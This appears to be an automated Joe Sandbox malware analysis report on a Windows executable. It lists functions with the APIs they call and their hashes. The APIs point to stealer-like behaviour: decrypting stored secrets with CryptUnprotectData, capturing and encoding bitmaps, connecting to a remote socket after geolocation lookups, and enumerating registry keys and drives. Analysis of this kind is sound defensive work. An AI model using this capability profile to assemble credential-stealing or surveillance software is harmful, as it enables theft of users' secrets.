Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3038321057-0
Opcode ID: d2de06470b4ed8e39d37734a47601b9eff7cf65b32299141bc4bcc42cf026e17
Instruction ID: f89bec7e33bb302d65c9cd37ab770014a8852ac727617e3c88042a0ada6463a3
Opcode Fuzzy Hash: d2de06470b4ed8e39d37734a47601b9eff7cf65b32299141bc4bcc42cf026e17
Instruction Fuzzy Hash: E7215E32618B8186F7609F21F44436AB7A0FF8CB80F994536EA8D43B58DF7CD5458B50

Function 00007FF75A69F730 Relevance: 4.8, APIs: 3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87a99c1df3fb55db6fd33c27e8c6a0857421fa2f76207b6e5e3cbf5a607462fc
Instruction ID: 9e9b9a5bffd1fe1eeba07a910fca267daf3ef5fd9db5b606ef92e6a478a3b6c6
Opcode Fuzzy Hash: 87a99c1df3fb55db6fd33c27e8c6a0857421fa2f76207b6e5e3cbf5a607462fc
Instruction Fuzzy Hash: ABF17072A09B858AEB208F69E44135DB7A1FB8C798F104365EEDC57B99EF3CC1908744

Function 00007FF75A69FE20 Relevance: 4.8, APIs: 3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edb7384006dd180f83d3e92ce02a280bc4dafbd9889c959d182341696efc5bee
Instruction ID: d28aeddae5bb1dd6b9a7387edcd154d5d6e9e6996813ccd5731ccfdc874c853e
Opcode Fuzzy Hash: edb7384006dd180f83d3e92ce02a280bc4dafbd9889c959d182341696efc5bee
Instruction Fuzzy Hash: 73F16F32A09F858AEB208B69E44135DB7A1FB8C798F505325EEDC57B99EF3CD1808744

Function 00007FF75A6A0450 Relevance: 4.8, APIs: 3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7027e56b770e5601c3c4cdc81840c584ded037678ea2b3a9d54ded7bc101ed1
Instruction ID: a99c81e4c887ab0082c8d2fb3c57af37e91cb60ee984a77ccbbccf0521adf972
Opcode Fuzzy Hash: f7027e56b770e5601c3c4cdc81840c584ded037678ea2b3a9d54ded7bc101ed1
Instruction Fuzzy Hash: 8AF15E72A09B848AEB208B69E44135DB7A1FB8C798F504325EEDC56B99EF38D1808744

Function 00007FF75A6F76A0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 217timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32 ref: 00007FF75A6F79D0

Strings

[UTC, xrefs: 00007FF75A6F79A3

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: InformationTimeZone
String ID: [UTC
API String ID: 565725191-1715286942
Opcode ID: 227df7f9fc515862566a01e59866b53c9bfa63972a69ca4c12e822ae5807cade
Instruction ID: 8f03e789114fe4d9e44f5f4d9f50fa6abdc6bcb8440f148f8cfc1640af360195
Opcode Fuzzy Hash: 227df7f9fc515862566a01e59866b53c9bfa63972a69ca4c12e822ae5807cade
Instruction Fuzzy Hash: 64B15E32A08FC989E7318F29E84129AB7A1F79C788F545325EACC57B59EF78D250C740

Function 00007FF75A6F73F0 Relevance: 3.1, APIs: 2, Instructions: 137COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsW.KERNEL32 ref: 00007FF75A6F7461

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: DriveLogicalStrings
String ID:
API String ID: 2022863570-0
Opcode ID: 8f7b76c8c7a97eafc7baaa1f30fd7dfc3995e14b8cd39339a4877971754c2c66
Instruction ID: f323a60088c3fccd11ccaaf68d1a465e366b88b41e78168bb87ea8cb46332a50
Opcode Fuzzy Hash: 8f7b76c8c7a97eafc7baaa1f30fd7dfc3995e14b8cd39339a4877971754c2c66
Instruction Fuzzy Hash: 52517132E08B8582F7109F24E8803ADB7A5FB84794F545235EA9C13AA9DF7CE591D740

Function 00007FF75A6E7BA0 Relevance: 3.1, APIs: 2, Instructions: 86encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 00007FF75A6E7BF8
LocalFree.KERNEL32 ref: 00007FF75A6E7C8A

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: 3f0d2640eba4d0f7871c2ec703edcb503dbe0d7ea7d03094cd3af9045bbe76bf
Instruction ID: cc99a804fb7117c593d3b3ed1bd6c07706ffe1ebb50c0ae09200b8c7f18b3feb
Opcode Fuzzy Hash: 3f0d2640eba4d0f7871c2ec703edcb503dbe0d7ea7d03094cd3af9045bbe76bf
Instruction Fuzzy Hash: 9F414732A18B81CAF3209F74D4403AD77A5FB58B4CF484679EA8C06A4ADF79D5A48354

Function 00007FF75A6A1B90 Relevance: 1.8, APIs: 1, Instructions: 283COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A1FD2

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: b1b5a1a327eb7fdbbdef193e3a0b2110c79f99af1ed725dc7dd222eaa80ed354
Instruction ID: 519781d1c7cf740fd7ae33f2d3440306ea52a2a82c6be86f594cfc1581991563
Opcode Fuzzy Hash: b1b5a1a327eb7fdbbdef193e3a0b2110c79f99af1ed725dc7dd222eaa80ed354
Instruction Fuzzy Hash: 3FD18222F08B8189F700DB74D4403EC77B2EF59B8CF8552B5EA4C26A99DF38A195C394

Function 00007FF75A6EEBF0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 194
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75A6EE970: InitializeCriticalSectionEx.KERNEL32 ref: 00007FF75A6EE9C1
Part of subcall function 00007FF75A6EE970: GetLastError.KERNEL32 ref: 00007FF75A6EE9CB

EnterCriticalSection.KERNEL32 ref: 00007FF75A6EEC31
GdiplusStartup.GDIPLUS ref: 00007FF75A6EEC58
LeaveCriticalSection.KERNEL32 ref: 00007FF75A6EEC66
LeaveCriticalSection.KERNEL32 ref: 00007FF75A6EEC94
GdipGetImageEncodersSize.GDIPLUS ref: 00007FF75A6EECA2
GdipGetImageEncoders.GDIPLUS ref: 00007FF75A6EED36
GdipCreateBitmapFromScan0.GDIPLUS ref: 00007FF75A6EEE00
GdipSaveImageToStream.GDIPLUS ref: 00007FF75A6EEE1E
GdipDisposeImage.GDIPLUS ref: 00007FF75A6EEE83
GdipDisposeImage.GDIPLUS ref: 00007FF75A6EEE97

Strings

&, xrefs: 00007FF75A6EEDFA

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Gdip$Image$CriticalSection$DisposeEncodersLeave$BitmapCreateEnterErrorFromGdiplusInitializeLastSaveScan0SizeStartupStream
String ID: &
API String ID: 1703174404-3042966939
Opcode ID: dd964381881d80bb3d13f7f21f812b9ad7ab8c9b9795b3d442a88d8ae0dd4017
Instruction ID: 192c14be96c282771edeadf4a2a142a78eb9c5ab7599ba263b74ca41730a5de9
Opcode Fuzzy Hash: dd964381881d80bb3d13f7f21f812b9ad7ab8c9b9795b3d442a88d8ae0dd4017
Instruction Fuzzy Hash: FA91B332A04B4299F720EF20E8005A9B7A1FF58F98F984579DA0D47B94DF3DE555C350

Function 00007FF75A6EFCA0 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 226
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75A6F58D0: GetUserGeoID.KERNEL32 ref: 00007FF75A6F58F7
Part of subcall function 00007FF75A6F58D0: GetGeoInfoA.KERNEL32 ref: 00007FF75A6F5911
Part of subcall function 00007FF75A6F58D0: GetGeoInfoA.KERNEL32 ref: 00007FF75A6F5961

Part of subcall function 00007FF75A6B1900: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B19D4

WSAStartup.WS2_32 ref: 00007FF75A6EFDBE
socket.WS2_32 ref: 00007FF75A6EFDDB
htons.WS2_32 ref: 00007FF75A6EFE00
inet_pton.WS2_32 ref: 00007FF75A6EFE42
connect.WS2_32 ref: 00007FF75A6EFE5C
closesocket.WS2_32 ref: 00007FF75A6EFE7B
WSACleanup.WS2_32 ref: 00007FF75A6EFE81
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F0025
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F002B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F0031

Strings

geo, xrefs: 00007FF75A6EFD6B
system, xrefs: 00007FF75A6EFD2A

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Info$CleanupStartupUserclosesocketconnecthtonsinet_ptonsocket
String ID: geo$system
API String ID: 2440148987-2364779556
Opcode ID: aebd805efb8e82c1b4d7a2ab7047e6cd64bca564fcb8cc9fd5e8ee7e239778de
Instruction ID: 4c7e955e269648d3bd7fd25dec69d88834adca5c59573c91fa892cb4e3804838
Opcode Fuzzy Hash: aebd805efb8e82c1b4d7a2ab7047e6cd64bca564fcb8cc9fd5e8ee7e239778de
Instruction Fuzzy Hash: A1B1C262F18B4295FB00EF74D4402BCA372EF58B94F885A76DA1D176E9DE38D446C320

Function 00007FF75A6F7A84 Relevance: 16.9, APIs: 11, Instructions: 356COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F7FE0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F7FE6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F7FEC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F7FF2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F7FF8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F7FFE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F8004
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F800A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F8010
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F8016
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F801C

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 1b8367a7d2cbc15bbc447106504ff1a97d50fa14dca6b2ca4320e2704d46d26e
Instruction ID: 6068ee3e5e189737e8d5c6411f3f1d5cdf03de428ad2e623391314db1ca83272
Opcode Fuzzy Hash: 1b8367a7d2cbc15bbc447106504ff1a97d50fa14dca6b2ca4320e2704d46d26e
Instruction Fuzzy Hash: 69E1F3A3E14BC245FB10AB34C8413FCA752EF99BA8F545771EA6C06ADADF7891C1C250

Function 00007FF75A71092C Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75A710D59

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8d4d1184268d38eb40f1b2f8de77a3be335aedca5c603a4bb4196d88dea7cd4c
Instruction ID: 5ff96c7eba4129779f000d213abc7ffdfb5a621135b614d45c31a537fee42693
Opcode Fuzzy Hash: 8d4d1184268d38eb40f1b2f8de77a3be335aedca5c603a4bb4196d88dea7cd4c
Instruction Fuzzy Hash: 7EC1E322A0C78291F7607F1498402BDBBA4FF89B84FDD49B1DA4D07795CE7CE8468760

Function 00007FF75A6F7151 Relevance: 9.2, APIs: 6, Instructions: 163registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF75A6F7169
RegEnumKeyExA.KERNEL32 ref: 00007FF75A6F71AE
RegCloseKey.ADVAPI32 ref: 00007FF75A6F73A4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F73D7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F73E3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F73E9

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseEnumOpen
String ID:
API String ID: 2177193445-0
Opcode ID: 0ed1f0d6d75d13edb5719d14fe28ac9f731d103c8e3e7d84f0abb01f81af53c7
Instruction ID: b41220f3307fb87d54f082c32bc5102ff824d4ee5da455cade32342f84610dbd
Opcode Fuzzy Hash: 0ed1f0d6d75d13edb5719d14fe28ac9f731d103c8e3e7d84f0abb01f81af53c7
Instruction Fuzzy Hash: D9718E72A08B8685FB10AB65E44036DA761FF857A8F940675EEAC13AD9DF7CE0C1C710

Function 00007FF75A6EEA50 Relevance: 9.0, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF75A6EEA93
EnterCriticalSection.KERNEL32 ref: 00007FF75A6EEAA5
EnterCriticalSection.KERNEL32 ref: 00007FF75A6EEAB5
GdiplusShutdown.GDIPLUS ref: 00007FF75A6EEAC3
LeaveCriticalSection.KERNEL32 ref: 00007FF75A6EEAD0
LeaveCriticalSection.KERNEL32 ref: 00007FF75A6EEADA

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: CriticalSection$EnterLeave$DeleteGdiplusObjectShutdown
String ID:
API String ID: 4268643673-0
Opcode ID: f5a1ecfcc53808b035d0d15b7c47fae7049546fa7d089acffeffd9e0bb2d86bb
Instruction ID: 07e8e814c8af6061ecdd15cb4a4c0d87dfd0bf96dab39bc5385388fb31345877
Opcode Fuzzy Hash: f5a1ecfcc53808b035d0d15b7c47fae7049546fa7d089acffeffd9e0bb2d86bb
Instruction Fuzzy Hash: C5113D32905B51C1FB10EF25E850029B374FF58F64BA8467ADA5D076A4CF39D896C350

Function 00007FF75A6DCAB0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6DCE19
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6DCE1F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6DCE25
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6DCE2B

Strings

exists, xrefs: 00007FF75A6DCDF7, 00007FF75A6DCE0C

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: exists
API String ID: 3668304517-2996790960
Opcode ID: 395d2dca2a96b1eb7470fdfe99e337380792af0a029e8987cfc45726c758346a
Instruction ID: 10b756a5d0edf3f1ad3906cc03bf5f229468c184693dcf5697b9231e70326bc7
Opcode Fuzzy Hash: 395d2dca2a96b1eb7470fdfe99e337380792af0a029e8987cfc45726c758346a
Instruction Fuzzy Hash: 00A1E972A04B8685FB10EF38D8502ADB362FF48BD8F945671EA5D47A98DF38D191C310

Function 00007FF75A6DF7A0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6DFB09
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6DFB0F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6DFB15
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6DFB1B

Strings

exists, xrefs: 00007FF75A6DFAE7, 00007FF75A6DFAFC

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: exists
API String ID: 3668304517-2996790960
Opcode ID: 9728017933aa4c07d8c4fd0e3cb6d8387701d9c354e0f9b1edc11a1511a2b59a
Instruction ID: 5616e97091cc1624bcf69b8244792758a59ba9cb0d7dac3272b74109edfdf583
Opcode Fuzzy Hash: 9728017933aa4c07d8c4fd0e3cb6d8387701d9c354e0f9b1edc11a1511a2b59a
Instruction Fuzzy Hash: 8FA1D872E14B8295FB50EF24D8402ADB3B2FF48B98F945671EA5D17A98DF38D581C310

